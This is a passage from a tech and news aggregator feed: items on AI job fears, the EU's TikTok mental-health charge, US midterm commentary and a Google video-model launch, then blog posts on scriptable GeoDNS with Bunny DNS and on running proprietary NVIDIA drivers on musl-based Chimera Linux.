“AI is increasingly matching the general cognitive profile of humans, which means it will also be good at the new jobs that would ordinarily be created in response to the old ones being automated,” reads his essay, which calls AI a “general labor substitute for humans”.

Workers’ fears likely stem from company leaders’ warnings and the layoffs they’re seeing, even though data doesn’t show AI is causing job loss, said Brendan Moore, a University of Notre Dame economics professor who’s studied worker sentiment on AI and job insecurity.

“Between the proclamations from tech CEOs saying there are going to be mass layoffs, to many large technology and telecommunications companies that are citing AI as reasons for layoffs … people are saying: ‘Oh, this is due to AI,’” Moore said, adding some companies likely would’ve downsized regardless.

Workers still drive the economy, so if large numbers of them change course, wages, prices and economic growth could be affected, Moore said. Following the “great resignation”, when workers quit en masse during the Covid-19 pandemic, wages and consumer inflation rose . If the fear of AI provokes mass resignations, similar economic disruption could materialize.

“Just the fear of job loss alone, even if mass job loss never comes, can affect the economy,” Moore said.

Though AI leaders have walked back their dire economic predictions in recent months, it may be too late to reverse negative worker sentiment, which has garnered the attention of lawmakers.

Earlier this year, the Vermont senator Bernie Sanders introduced a bill to impose a federal moratorium on the construction of new AI datacenters until safeguards were in place for workers facing job loss. AI leaders “do not want to just replace specific jobs. They want to replace workers,” he wrote in an op-ed for Fox News, calling AI a “nightmare” for the working class.

At the same time, some tech executives are calling out their industry’s failure to articulate a positive vision for the future.

“It is surprising that the discourse from many developing AI is so filled with doom,” Mark Zuckerberg, CEO of Meta, wrote in an August essay . “I do not understand why anyone who believes that AI will eliminate most jobs and much of humanity’s relevance would rush to build that future.”

For workers, the issue is much simpler: AI is destabilizing their professional lives now – so they are taking matters into their own hands.

“Uncertainty is making people anxious,” said Horvath, the financial planner. But “you can’t have nihilism, because at the end of the day, it only hurts you”.

EU charges TikTok with failing to protect users’ mental health

Guardian
www.theguardian.com
2026-11-06 08:49:39
Regulator’s initial ruling says algorithm ‘can be harmful’ and led young and vulnerable viewers ‘down rabbit holes they can’t easily escape’Business live – latest updates TikTok has been charged by the European Commission with failing to protect users’ mental health by exposing them to a relentless ...
Original Article

TikTok has been charged by the European Commission with failing to protect users’ mental health by exposing them to a relentless stream of content that risks worsening eating disorders and anxiety in a case that strikes at its business model.

Issuing a preliminary ruling on Friday, the EU regulator said TikTok’s algorithm “can be harmful” and was leading young and vulnerable users “down rabbit holes they cannot easily escape from”.

The Chinese-owned short-video platform, which has 189 million users in the EU, was found to have failed to prevent users from being served up repetitive content on themes such as body image or isolation, which can lead to anxiety, sadness, worsen existing eating disorders or mental health problems.

Officials said their investigation focused on legal content, where a single video might not be problematic, but the cumulative effect of watching scores of them on one theme could damage users’ mental health.

TikTok’s safeguards to mitigate the risks of “rabbit-hole effects” – where users are served narrow and repetitive content to keep them engaged – were found to be ineffective. For example, officials said, if a user checked a “not interested” button on a video about eating patterns, the algorithm would still offer them similar content on diet and body image. Similarly, refreshing a feed only provided a brief respite from a stream of content on one topic, it found.

“Every time a user scrolls or likes a video on TikTok, the algorithm serves more of the same leading users down rabbit holes they cannot easily escape from,” said the European Commission’s lead official on tech policy, Henna Virkkunen. “TikTok needs to step up its efforts to protect users’ wellbeing, including those of minors.”

In response, a TikTok spokesperson said: “The commission has made a series of statements that are fundamentally inaccurate and distort our platform’s architecture and our commitment to user safety.

“We have a strong record of protecting our community while giving users direct and intuitive control over their content experience.”

The company argues that its policies prohibit content that promotes disordered eating and risky weight-management behaviours. It also says that more than 79 million users in the EU used its “not interested” or keyword filters to screen out unwanted content in the first six months of 2026.

The EU investigation strikes at TikTok’s business model, which is built on keeping users scrolling as long as possible.

EU officials want TikTok to change the design of its ForYou feed, to give users greater control over the content they see.

“We are addressing a business model,” a commission official told reporters, saying that a business model focused mainly on engagement “can potentially create a risk” especially for minors and vulnerable adults.

The findings are part of a broader investigation launched in February 2024 under the Digital Services Act, which obliges large internet companies to take action to prevent a wide range of harms, from disinformation to damage to mental health.

The commission has already found the company violated EU rules over its “addictive design” for features such as infinite scroll. The company said at the time “the commission’s preliminary findings present a categorically false and entirely meritless depiction of our platform” and that it would challenge the findings.

A complaint about lack of transparency over who paid for TikTok’s advertising was resolved when the company made binding commitments to change its policies last December.

TikTok, which now has a chance to examine the investigation file and mount a defence, could agree to change its recommender system to avoid a fine.

If EU officials uphold the finding, the company could be fined up to 6% of its global worldwide turnover.

Hasan Piker: Democrats Won Midterms, But Now They Have to Deliver on Voter Demands for Change

Democracy Now!
www.democracynow.org
2026-11-06 08:49:11
Tuesday was a historic night for progressive Democrats and, in particular, candidates backed by the Democratic Socialists of America. Six new DSA-endorsed candidates were elected to the House, and democratic socialists won mayoral races in Los Angeles, Washington, D.C., and Providence. “The De...
Original Article

Tuesday was a historic night for progressive Democrats and, in particular, candidates backed by the Democratic Socialists of America. Six new DSA -endorsed candidates were elected to the House, and democratic socialists won mayoral races in Los Angeles, Washington, D.C., and Providence.

“The Democratic Socialists of America had a phenomenal night, and this movement is only going to continue to grow,” says prominent leftist political commentator Hasan Piker. “Now, here’s the problem: Hakeem Jeffries and Chuck Schumer are two of the least popular politicians in the country right now, and there are demands to change the leadership in the Democratic Party to reflect the desires of this new coalition that was developed on November 3.”



Guests

Please check back later for full transcript.

The original content of this program is licensed under a Creative Commons Attribution-Noncommercial-No Derivative Works 3.0 United States License . Please attribute legal copies of this work to democracynow.org. Some of the work(s) that this program incorporates, however, may be separately licensed. For further information or additional permissions, contact us.

Gemini Omni 1.2 Flash

Hacker News
blog.google
2026-11-06 08:35:27
Comments...
Original Article

Gemini Omni 1.2 Flash brings 15-second clips, stronger consistency, and faster, more cost-effective generation.



Text "Gemini Introducing Gemini Omni 1.2 Flash" surroudned by images of a beehive, animals in conversation, a squid, and a woman walking down a street

Your browser does not support the audio element.

Listen to article

[[duration]] minutes

This content is generated by Google AI. Generative AI is experimental

Today, we’re rolling out Gemini Omni 1.2 Flash, and making it generally available across the Gemini API and Gemini for business . Gemini Omni 1.2 Flash introduces native 15-second video creation, multi-turn conversational editing capabilities, and enhanced reference following. We have dropped the price 30% from Gemini Omni 1.1 making it available at $0.07 per second for 720p video.

Here’s an overview of what’s new:

Fast and cost-effective at scale

Beyond the lower price, the workflow keeps costs down: you can draft fast at 360p or 720p, fix a detail with a follow-up edit instead of re-generating the entire clip, and then upscale your best creations to 1080p or 4K.

Longer clips up to 15 seconds

You can now generate and edit videos natively up to 15 seconds long, up from 10 seconds with Omni 1.1. You can also specify duration in one-second increments from 3 to 15 seconds, giving you room to tell complete stories, create product explainers, or produce full social ad spots in a single generation.

Better reference adherence

You can guide generation combining character, product, or style images, short motion clips (up to three seconds), and audio cues — and Omni 1.2 Flash holds onto those details from start to finish. Faces, garments, packaging typography, and brand colors stay consistent across camera angles, making it easy to turn existing product photography or character sheets into virtual try-on clips, catalog spins, and branded video ads.

Combining one model photo with front-and-back product shots of three outfits, Gemini Omni 1.2 Flash generates a 15-second virtual try-on sequence across 360-degree turns and match cuts while keeping the model’s identity and each garment’s cut, drape, and back details consistent.

More consistent results

You can maintain stronger character, object, and scene consistency from the first to the last frame, with less visual drift or morphing across motion and camera transitions. Whether you’re interpolating between a first and last keyframe, or extending a clip to build a longer sequence, products, characters, props, and environments stay consistent from shot to shot.

Given the same static studio lighting exhibition poster and five-layer animation prompt, Gemini Omni 1.1 Flash does not match the reference image as closely as 1.2 does. Gemini Omni 1.2 Flash builds the poster sequentially layer by layer on the dusty-pink cyclorama rising the hexagonal plinth, assembling the ribbed glass, warm filament, faceted crystal, and coiled-cord letterforms for HALO, GLOW, and LUMEN, and locking every material, shadow, and typographic detail consistently through the final frame.

Easier editing in conversation

You can refine the same clip turn by turn — such as swapping a product or background, changing the lighting or weather, or switching the aspect ratio — instead of starting over from scratch. Multi-turn conversational editing works across full 15-second clips, making it easy to produce ad variants for different audiences and placements without re-briefing or re-generating.

Starting from one generated clip, multi-turn conversational prompts swap the background turn by turn — from a striped pavilion tent to an oak forest, a stable with a white horse, a market fair, and a stone castle — while keeping both characters’ performances, armor reflections, and camera framing intact.

More natural speech

You can generate scenes with more fluid, natural-sounding dialogue, clearer lip-sync, and distinct multi-speaker conditioning. This will show up whether you’re directing multi-character dialogue in Flow , creating video explainers in Gemini for business , or creating polished, pro videos with avatars, music and narration in Google Vids .

Conditioned on one conservatory scene image alongside four character, mouth, and one-second voice references, Gemini Omni 1.2 Flash routes each sampled voice to the right character with expressive lip-sync and natural comedic timing across a 15-second animated scene.

More controllable, cinematic look

You can direct complex, continuous camera movements like sweeping FPV flythroughs to dramatic zoom-outs and orbits with significantly fewer unwanted jump cuts, steadier scale, and a more polished, cinematic look.

Guided by two architectural reference photos, Gemini Omni 1.2 Flash directs one continuous FPV drone flight across the piazza, through the bronze doors, and up through the Pantheon’s coffered dome to the oculus with zero jump cuts.

Longer clips with smoother motion and tighter consistency

Gemini Omni 1.2 Flash generates clips up to 15 seconds long that hold references together better than before. You can scroll through to see characters, text, and camera moves stay consistent across longer shots, multiple turns and transitions with no cuts.

Real-world results, from creatives to global brands

Businesses, startups, and creatives are already using Gemini Omni 1.2 Flash in their workflows. And for the first time, Gemini Omni is now generally available, backed by Google Cloud’s enterprise-grade infrastructure and security. Provisioned Throughput is available, and outputs carry an imperceptible SynthID watermark.

Get started with Gemini Omni 1.2 Flash

While development is ongoing to further improve things like fast sports action, rapid script changes and complex physics, Gemini Omni 1.2 Flash is ideal for businesses, developers, and creators producing videos at scale. You can get started with Gemini Omni 1.2 Flash today as it rolls out across Google’s products and developer platforms:

Get the latest news from Google in your inbox

Sign up for our newsletters with product updates, event information, special offers, and more.

Your information will be used in accordance with Google's privacy policy. You may opt out at any time.

National Politics Will Never Be the Same: Juan González on How Latino Voters Remade the Political Map

Democracy Now!
www.democracynow.org
2026-11-06 08:33:44
The midterms saw a landslide of Latinos vote for Democrats. In Texas, California, Kansas and Colorado, Latinos who had voted for Republicans just two years ago voted for Democrats in large numbers, helping secure Democratic control of both the House and the Senate. Latino lawmakers will make up abou...
Original Article

The midterms saw a landslide of Latinos vote for Democrats. In Texas, California, Kansas and Colorado, Latinos who had voted for Republicans just two years ago voted for Democrats in large numbers, helping secure Democratic control of both the House and the Senate. Latino lawmakers will make up about a fifth of the Democratic majority in the House. And in an historic victory, the two most populous states in the country, California and Texas, will soon be led by Democratic Latino governors.

“Texas has been suddenly transformed into a battleground state,” says Democracy Now! co-host Juan Gonzalez. “Texas has been the biggest and most important red state in the country for decades, and I’ve been predicting for years that it is the key link for achieving a realignment of national politics.”


Please check back later for full transcript.

The original content of this program is licensed under a Creative Commons Attribution-Noncommercial-No Derivative Works 3.0 United States License . Please attribute legal copies of this work to democracynow.org. Some of the work(s) that this program incorporates, however, may be separately licensed. For further information or additional permissions, contact us.

Vincent Bernat: Scriptable GeoDNS: leaving AWS for Bunny

PlanetDebian
vincent.bernat.ch
2026-11-06 08:29:34
To optimize the performance metrics of this blog, I relied on Amazon CloudFront to serve the assets,1 and Route 53 for the geo-aware DNS2 to direct readers to the closest host serving the content. But Route 53 is expensive: US$0.50 per zone per month, US$0.70 per million geolocation queries, and US$...
Original Article

To op­ti­mize the per­for­mance met­rics of this blog, I re­lied on Ama­zon CloudFront to serve the as­sets, 1 and Route 53 for the geo-aware DNS 2 to di­rect read­ers to the clos­est host serv­ing the con­tent. But Route 53 is ex­pen­sive: US$0.50 per zone per month, US$0.70 per mil­lion ge­olo­ca­tion queries, and US$0.75 per healthcheck per month , plus US$1 per month for the KMS key needed to sign zones with DNSSEC. When I dis­cov­ered that Bunny DNS is al­most free for up to 500 do­mains and fea­tures script­able an­swers, I made the jump! Plus, it’s a Eu­ro­pean com­pany based in Slovenia.

Bunny CDN #

Bunny.net started as BunnyCDN in 2015 . They added IPv6 sup­port in 2017 . Switch­ing was un­event­ful. I don’t bring a cus­tom do­main: I serve the con­tent from the b-cdn. net do­main. As I de­pend on con­tent ne­go­ti­a­tion to serve AVIF and WebP im­ages , I con­fig­ure the CDN to cache each im­age for­mat sep­arately .

I dis­able log­ging to avoid col­lect­ing per­sonal in­for­ma­tion. While the bunny.net GDPR page prom­ises they anonymize data, it is un­clear what CloudFront keeps in its own logs when log­ging is disabled.

The only down­side of the bunny.net CDN of­fer­ing is the lack of HTTP/3. I asked their sup­port: two min­utes later, they an­swered they are work­ing on it but have no ETA to share.

Bunny DNS #

Bunny.net in­tro­duced their DNS of­fer­ing in 2022 and re­cently re­duced its cost to al­most zero . They sup­port ge­o­graph­i­cal rout­ing , but a very cool fea­ture is the script­able DNS : it runs a piece of user-sup­plied JavaScript on each query to com­pute the answer.

I run seven small NixOS vir­tual ma­chines to host this blog around the world: Paris, Nurem­berg, Ash­burn, Sin­ga­pore, San Jose, São Paulo, and Syd­ney. Bunny’s script­able DNS lets me re­turn the IP ad­dresses of the two near­est servers . The browser falls back to the sec­ond server if the first one is down.

const servers = [
  {
    ipv4: "45.90.160.60",
    ipv6: "2a0c:8881:5:100::1",
    latitude: 48.88,
    longitude: 2.22,
  },
  /* […] */
  {
    ipv4: "139.180.162.114",
    ipv6: "2001:19f0:5800:1855:5400:6ff:fef0:4c0a",
    latitude: -33.87,
    longitude: 151.21,
  },
];
const families = { A: "ipv4", AAAA: "ipv6" };
const records = { A: ARecord, AAAA: AaaaRecord };

export default function handleQuery(query) {
  const type = String(query.request.queryType).toUpperCase();
  const family = families[type];
  if (!family) return [];
  // Get user location
  const location = query.request.geoLocation;
  // Build a list of candidates
  let candidates = servers.map(
    (s) => new Server(s[family], s.latitude, s.longitude, 100),
  );
  // Select the two closest alive servers
  const selected = [];
  while (selected.length < 2) {
    const server = RoutingEngine.getClosestServer(candidates, location, true);
    selected.push(server);
    candidates = candidates.filter((s) => s.ip !== server.ip);
  }
  // Return their IP addresses
  return selected.map((s) => new records[type](s.ip, 3600));
}

The above script re­lies on the RoutingEngine. getClosestServer() helper, which re­turns the clos­est alive 3 server to the user. 4 Thanks to Doggo , we can check it works as ex­pected, at least for A : 5

$ doggo --gp-from="Amsterdam" A vincent.bernat.ch
LOCATION          NAME                TYPE  TTL    ADDRESS
Amsterdam, NL
                  vincent.bernat.ch.  A     3600s  45.90.160.60
                  vincent.bernat.ch.  A     3600s  116.203.18.48
$ doggo --gp-from="Texas" A vincent.bernat.ch
LOCATION          NAME                TYPE  TTL    ADDRESS
Houston (TX), US
                  vincent.bernat.ch.  A     3600s  5.161.44.145
                  vincent.bernat.ch.  A     3600s  149.28.219.155

The most an­noy­ing draw­back of this method is that a user from Buenos Aires gets both São Paulo (1000 mi, 30 ms RTT ) and Ash­burn (5200 mi, 140 ms RTT ). Most re­solvers ran­dom­ize the or­der, so the user may pull the web page from Ash­burn. We could re­turn only the near­est server—and swap the scripted record with the built-in ge­o­graphic rout­ing in­stead. But if the server be­comes un­avail­able, the browser has no al­ter­na­tive un­til the DNS cache ex­pires. It leaves a short win­dow of un­avail­abil­ity, even with a short TTL .

The HTTPS record solution #

The HTTPS DNS record , de­fined in RFC 9460 , solves both the avail­abil­ity and the la­tency is­sues. Mod­ern browsers query this record to get ad­di­tional in­for­ma­tion to reach an HTTP server, in­clud­ing an al­ter­na­tive port and the ap­pli­ca­tion layer protocol—HTTP/2 or HTTP/3. Each record has a pri­or­ity. We can ask browsers to con­tact the near­est server first and fall back to the next one if the first is un­available:

vincent    HTTPS  1 first.geo  alpn="h3,h2"
vincent    HTTPS  2 second.geo alpn="h3,h2"
vincent    HTTPS  3 .          alpn="h3,h2"

; Bunny DNS must provide the two closest servers as "first.geo"
; and "second.geo" with geographic or latency routing.
first.geo  A      45.90.160.60
first.geo  AAAA   2a0c:8881:5:100::1
second.geo A      116.203.18.48
second.geo AAAA   2a01:4f8:1c0c:5eb5::1

vincent    A      45.90.160.60
vincent    A      116.203.18.48
vincent    AAAA   2a0c:8881:5:100::1
vincent    AAAA   2a01:4f8:1c0c:5eb5::1

This looks like the ideal so­lu­tion! Un­for­tu­nately, Chrome ig­nores any record whose tar­get is not . , hence the last record at pri­or­ity 3. More­over, un­like with a CNAME , Bunny DNS does not re­turn the IP ad­dresses for first. geo and second. geo in the ad­di­tional sec­tion. The re­solver needs to send a first re­quest to get the HTTPS record, and a sec­ond to re­solve first.geo .

HTTPS records are still too new for this use case. Back to the draw­ing board! 📐

The hybrid solution #

As a com­pro­mise, the script re­turns the two near­est servers if they are at a sim­i­lar dis­tance from the user. Oth­er­wise, it re­turns only the near­est one with a lower TTL of 2 minutes.

export default function handleQuery(query) {
  const location = query.request.geoLocation;
  let candidates = servers.map(
    (s) => new Server(s.ipv4, s.latitude, s.longitude, 100),
  );

  // Select the two closest servers
  const selected = [];
  while (selected.length < 2) {
    const server = RoutingEngine.getClosestServer(candidates, location, true);
    selected.push(server);
    candidates = candidates.filter((s) => s.ip !== server.ip);
  }

  // Compute the distance to the user for each of them
  const [first, second] = selected.map((s) =>
    GeoDistance.calculate(s, location),
  );

  // If the second one is at twice the distance and at more than 1000 miles
  // from the first, return only the first one with a TTL of 2 minutes.
  if (second > 2 * first && second - first > 1000) {
    return [new ARecord(selected[0].ip, 120)];
  }

  // Otherwise, return both with a TTL of 1 hour.
  return selected.map((s) => new ARecord(s.ip, 3600));
}

We can check it with Doggo . From Chicago, we get only the Ash­burn server with a TTL of 2 min­utes, while from Mex­ico, we get both Ash­burn and San Jose.

$ doggo --gp-from="Chicago" A vincent.bernat.ch
LOCATION          NAME                TYPE  TTL    ADDRESS
Chicago (IL), US
                  vincent.bernat.ch.  A     120s   5.161.44.145
$ doggo --gp-from="Mexico" A vincent.bernat.ch
LOCATION          NAME                TYPE  TTL    ADDRESS
Queretaro, MX
                  vincent.bernat.ch.  A     3600s  5.161.44.145
                  vincent.bernat.ch.  A     3600s  149.28.219.155
$ doggo --reverse 5.161.44.145 149.28.219.155
NAME                          TYPE  TTL    ADDRESS
145.44.161.5.in-addr.arpa.    PTR   7187s  web05.luffy.cx.
155.219.28.149.in-addr.arpa.  PTR   3600s  web07.luffy.cx.

Note

En­able JavaScript to make the map be­low in­ter­ac­tive: point at a lo­ca­tion to get the DNS an­swer, or dis­able servers to see how the an­swers change.

This page was brought to you by ??? . Check on the map be­low whether it matches your location!

Map of the servers answered by Bunny DNS for each location

The com­plete code is a bit more com­plex. It works around RoutingEngine. getClosestServer() sup­port­ing only IPv4, and it han­dles the case where there are not enough alive servers to build an answer.

Bunny.net has a com­pre­hen­sive Ter­raform provider . I lever­age CDK Ter­rain to build the tar­get state in TypeScript and OpenTofu to de­ploy it. Have a look at “ Man­ag­ing in­fra­struc­ture with Ter­raform, CDKTF, and NixOS ” for more details. 6

ACME DNS with Hickory DNS #

Route 53 cov­ered one ad­di­tional use case of mine: serv­ing acme. luffy.cx to solve DNS-01 ACME chal­lenges . Un­like Route 53, Bunny DNS can­not re­strict ac­cess to a sin­gle zone with a fine-grained ac­cess pol­icy. As this us­age re­quires nei­ther high avail­abil­ity nor low la­tency, I re­placed Route 53 with Hick­ory , a mem­ory-safe DNS server writ­ten in Rust. It sup­ports au­to­matic DNSSEC sig­na­tures and dy­namic up­dates . Its con­fig­u­ra­tion is simple:

[[zones]]
zone = "acme.luffy.cx"
zone_type = "Primary"

[zones.stores]
allow_update = true
type = "sqlite"
journal_path = "acme.luffy.cx.sqlite"
zone_path = "acme.luffy.cx.zone"

# Private key to sign the zone with DNSSEC. Generated with:
#  openssl genpkey -algorithm EC -pkeyopt ec_paramgen_curve:P-256
[[zones.keys]]
algorithm = "ECDSAP256SHA256"
key_path = "/etc/hickory-dns.acme.luffy.cx.pem"

# TSIG key to sign zone updates. Generated with:
#  openssl rand 32
[[zones.stores.tsig_keys]]
algorithm = "hmac-sha256"
key_file = "/etc/hickory-dns.acme.luffy.cx.update.acme.luffy.cx.tsig"
name = "update.acme.luffy.cx."

The pro­vided zone file only seeds the data­base on first start. I del­e­gate DNS-01 chal­lenges to this zone with CNAME records:

_acme-challenge          CNAME bernat.ch.acme.luffy.cx.
_acme-challenge.vincent  CNAME vincent.bernat.ch.acme.luffy.cx.

Lego , the ACME client I use to get cer­tifi­cates from Let’s En­crypt , an­swers the DNS-01 chal­lenge by push­ing en­tries with the DNS UPDATE protocol .

Un­for­tu­nately, Bunny DNS can­not pub­lish a DS record in a zone. 7 I need one to se­cure the acme. luffy.cx zone and cer­tifi­cate de­liv­ery. There­fore, I host the luffy.cx zone on deSEC , 8 a free DNS host­ing ser­vice run by a non-profit or­ga­ni­za­tion based in Berlin. I de­rive the DS record to pub­lish in luffy.cx from the DNSKEY record of acme. luffy.cx :

$ ZONE=acme.luffy.cx
$ dig @nsupdate.luffy.cx $ZONE DNSKEY +noall +answer \
>   | dnssec-dsfromkey -a SHA-256 -f - $ZONE
acme.luffy.cx. IN DS 55628 13 2 4946E7508F20E15F1B577A231104B029A1A82E04699A80CD46ADCE31227EE81F

Over­all, I am quite happy with the switch to bunny.net . There are still a few rough edges, like the in­abil­ity to pub­lish DS records, the lack of HTTP/3, and the IPv4-only RoutingEngine. getClosestServer() helper. The bill went from US$5 per month to US$1. So far, per­for­mance is on par with AWS , but I only fi­nal­ized the cur­rent setup, in­clud­ing the server in Syd­ney, in late Oc­to­ber. I need a bit more time to gather more data, and I’ll post a short update. 📈

Making musl and proprietary NVIDIA drivers work together

Lobsters
chimera-linux.org
2026-11-06 08:23:14
Comments...
Original Article
06.11.2026

As you may be aware, one of the limitations of musl-based distributions is that they will not function to their proper extent when used in computers with various NVIDIA graphics cards.

This is due to the proprietary nature of the driver, being built for glibc. I have been experimenting with trying to make this work, and this post is the summary of that effort.

Context

The NVIDIA graphics cards are tricky on Linux. While most other GPU vendors by default use free software graphics drivers (with kernel drivers in-tree in Linux, and userspace supplied by the Mesa project), NVIDIA in general does not, relying on an out of tree kernel driver and proprietary userland libraries that are supplied by the vendor.

A free software driver does exist, called Nouveau (kernel and OpenGL Mesa driver) and NVK (Vulkan driver). This allows the cards to work, but usually with significantly reduced performance, due to various reasons.

Currently the state depends significantly on what generation of NVIDIA card you have.

In short:

  • Anything older than Maxwell (GTX 700 series) is unsupported by the proprietary driver on modern systems, and supported to some extent by Nouveau, but may have issues due to poor maintenance nowadays; performance should be okay when it works.
  • Maxwell (GTX 700 and 900 series) and Pascal (GTX 1000 series) is supported fully by the legacy 580 branch of the proprietary driver, which also supports newer hardware. It works with Nouveau, but with very poor performance, as the cards can never reclock from their very low boot clocks (which would require firwmare that NVIDIA never released).
  • Turing (GTX 1600 series and RTX 2000 series) and anything newer is supported by the current main proprietary driver branch (at the time of writing, 620) as well as the legacy (580) branch, and by Nouveau, as these cards use the GSP firmware that is included in linux-firmware . However, using the FOSS driver means only getting 40-80% of the proprietary driver’s performance. Other than that, the experience is often okay, particularly with NVK.

In even shorter, if you have RTX 2000 and above you are mostly okay with FOSS but lose performance, if you have newer than GTX 600 but older than GTX 1600 you are screwed and need the proprietary driver, if your card is really old it may or may not work well and you may not be able to use it at all.

Proprietary drivers and musl

We now have a pull request open for both the 580 and 620 branch. It is not yet entirely ready but works, and is available for x86_64 and aarch64 architectures as NVIDIA supplies it.

To get there, there were multiple things to take care of. Particularly, using stock musl is out of the question and will likely never work. I will elaborate on each thing.

GLVND

The GLVND library was created by NVIDIA to allow for vendor-neutral OpenGL dispatch. It provides the libraries that applications link and exposes the OpenGL (and other) API. It then dispatches the calls to the implementations, which may be e.g. Mesa or the proprietary driver.

Most distributions nowadays use GLVND. Mesa comes with its own builtin dispatch code and does not necessarily require GLVND if you don’t build it with it. Musl distributions in general use this. Chimera at this point does not, and Void Linux on musl does not as it shares packaging with the glibc branch.

Chimera switched to GLVND on November 5 2026 . Switching is rather straightforward and does not need much documentation. One just has to package GLVND, rebuild Mesa with it (to avoid using its builtin dispatch libraries) and take care of packages that have dependencies on mesa-devel .

GLVND is not only useful for NVIDIA drivers, but in general it is the primary thing users will find useful. There are also some vendor drivers on ARM and elsewhere but those are niche. The proprietary drivers mandate GLVND since many years back (this is also very useful on laptops with hybrid graphics, because then you may still want to keep Mesa for the iGPU).

Gcompat

The gcompat project provides a compatibility shim to allow for limited usage of programs linked with glibc .

It consists of two components:

  • the loader, which acts as the dynamic linker ( ldso ) for the programs. For example, on x86_64 , glibc programs expect ld-linux-x86_64.so.2 as their dynamic linker. The loader does not do much, as it only sets up a library preload for the below, and execs into the real musl one.
  • the shim library, libgcompat.so.0 , which implements various symbols that are in glibc and used by programs, but not in musl . It does not implement everything. It is what provides the bulk of the functionality, and is useed by the means of LD_PRELOAD , automatically by the loader.

Unfortunately for us, the latest tagged release of gcompat does not provide all the symbols the proprietary drivers require to resolve. Fortunately for us, the latest Git branch does. The development nowadays is very slow so we just bumped it up to the latest revision.

Patchelf and initial packaging

You can see how the packaging works in the pull request, and that part is rather unimportant for now, and does not require elaboration. It works in a similar way to other distros, downloading the .run archive from NVIDIA and installing everything to the correct places.

Of course, in our case, we cannot install it directly, because it depends on glibc and other stuff. We also can’t just pull in gcompat as is, because most of the driver is libraries that have no interpreter.

Let’s see what happens if we run ldd on libnvidia-glcore.so.580.196.07 , which is the core OpenGL library.

$ ldd libnvidia-glcore.so.580.196.07
	ldd (0x739c4a8b1000)
	libm.so.6 => ldd (0x739c4a8b1000)
	libc.so.6 => ldd (0x739c4a8b1000)
	libdl.so.2 => ldd (0x739c4a8b1000)
	libnvidia-tls.so.580.196.07 => /lib/libnvidia-tls.so.580.196.07 (0x739c4a8a3000)
	libnvidia-gpucomp.so.580.196.07 => /lib/libnvidia-gpucomp.so.580.196.07 (0x739c3fa00000)
	libpthread.so.0 => ldd (0x739c4a8b1000)
	librt.so.1 => ldd (0x739c4a8b1000)
Error loading shared library ld-linux-x86-64.so.2: No such file or directory (needed by /lib/libnvidia-gpucomp.so.580.196.07)
Error relocating /lib/libnvidia-gpucomp.so.580.196.07: mallinfo: symbol not found
Error relocating /lib/libnvidia-gpucomp.so.580.196.07: __strftime_l: symbol not found
Error relocating libnvidia-glcore.so.580.196.07: dladdr1: symbol not found
Error relocating libnvidia-glcore.so.580.196.07: gnu_get_libc_version: symbol not found
Error relocating libnvidia-glcore.so.580.196.07: dlvsym: symbol not found
Error relocating libnvidia-glcore.so.580.196.07: backtrace: symbol not found
Error relocating libnvidia-glcore.so.580.196.07: unsupported relocation type 37

There is a bunch of stuff here. So the libm.so.6 , libc.so.6 , libdl.so.2 etc resolve to ldd as they are reserved in the musl ldso :

static const char reserved[] = "c.pthread.rt.m.dl.util.xnet.";

The dynamic linker will ignore the suffixes.

For some reason, some of the libraries also have DT_NEEDED on ld-linux-x86-64.so.2 which is the glibc dynamic linker. There are also some relocation failures that we’ll get to later, for now we take out patchelf .

So, patchelf is a tool that lets you dynamically patch ELF files for things like library dependencies ( DT_NEEDED ), dynamic linker ( DT_INTERP ), RPATH, and even some funky dynamic symbol remapping.

We use this to sanitize every library and executable being installed. Let’s begin with something like the following:

$ patchelf --remove-needed ld-linux-x86-64.so.2 --remove-needed libdl.so.2 --remove-needed libm.so.6 --remove-needed libpthread.so.0 --remove-needed librt.so.1 --replace-needed libc.so.6 libc.so --add-needed libgcompat.so.0 libnvidia-glcore.so.580.196.07

What this does is drop all the dependencies we don’t need (this is optional as musl ignores them, but why not? And even on glibc since recent versions they are just compatibility symlinks that point to the libc itself) as well as add a new dependency on libgcompat.so.0 to supply the symbols.

This clears up the list a lot, and now only one error remains:

Error relocating libnvidia-glcore.so.580.196.07: unsupported relocation type 37

We will get to this below. You now have a rough idea about patchelf .

So, about that relocation 37

What is this? Let’s check elf.h .

$ grep R_X86_64 /usr/include/elf.h|grep 37
#define R_X86_64_IRELATIVE	37

Googling for this tells us that it’s a relocation type for GNU indirect function ( ifunc ). Ifunc is a mechanism for dispatching to different versions of a function based on a runtime condition. It is done by having a resolver function which does the decision logic, and returns the implementation, which is then called. A good writeup is here .

This is intentionally not implemented in musl . In glibc it is used to pick different implementations of functions like memcpy based on CPU microarchitecture levels for performance reasons. However, indirect functions are also a major attack vector , bypassing RELRO among other things, and in general there are other ways to do runtime dispatch anyway.

I remembered that there was a project called Alpaquita Linux which is basically Alpine with performance patches. It has the musl-perf package which provides a patched musl with string functions (and other things) from glibc and for this it also has patches for ifunc . We don’t need all of them, particularly the one for static linking is useless for us, so we take the one we need and its aarch64 counterpart for a good measure.

This just adds handling of the relocation. We then package the patched libc as musl-nvidia and poof, unsupported relocation is gone.

There are now no errors in ldd . That means we’re done, right? Nope :)

Thread-local storage

Oh boy.

$ readelf -a libnvidia-glcore.so.580.196.07|grep TLS
  L (link order), O (extra OS processing required), G (group), T (TLS),
  0x000000000000001e (FLAGS)      SYMBOLIC STATIC_TLS 
   113: 0000000000000000     0 TLS     GLOBAL DEFAULT   UND _nv005tls
   123: 0000000000000000     0 TLS     GLOBAL DEFAULT   UND _nv000tls
   205: 0000000000000000     0 TLS     GLOBAL DEFAULT   UND _nv002tls
   224: 0000000000000000     0 TLS     GLOBAL DEFAULT   UND _nv001tls
$ readelf -a libnvidia-tls.so.580.196.07|grep TLS
  L (link order), O (extra OS processing required), G (group), T (TLS),
  TLS            0x003d40 0x0000000000004d40 0x0000000000004d40 0x000000 0x000038 R   0x8
  0x000000000000001e (FLAGS)      SYMBOLIC STATIC_TLS 
     9: 0000000000000010     8 TLS     GLOBAL DEFAULT    19 _nv008tls
    11: 0000000000000008     8 TLS     GLOBAL DEFAULT    19 _nv007tls
    14: 0000000000000000     8 TLS     GLOBAL DEFAULT    19 _nv006tls
    17: 0000000000000020     8 TLS     GLOBAL DEFAULT    19 _nv005tls
    25: 0000000000000018     8 TLS     GLOBAL DEFAULT    19 _nv002tls
    28: 0000000000000030     8 TLS     GLOBAL DEFAULT    19 _nv001tls
    31: 0000000000000028     8 TLS     GLOBAL DEFAULT    19 _nv000tls
$ readelf -a libnvidia-glcore.so.580.196.07|grep TPOFF
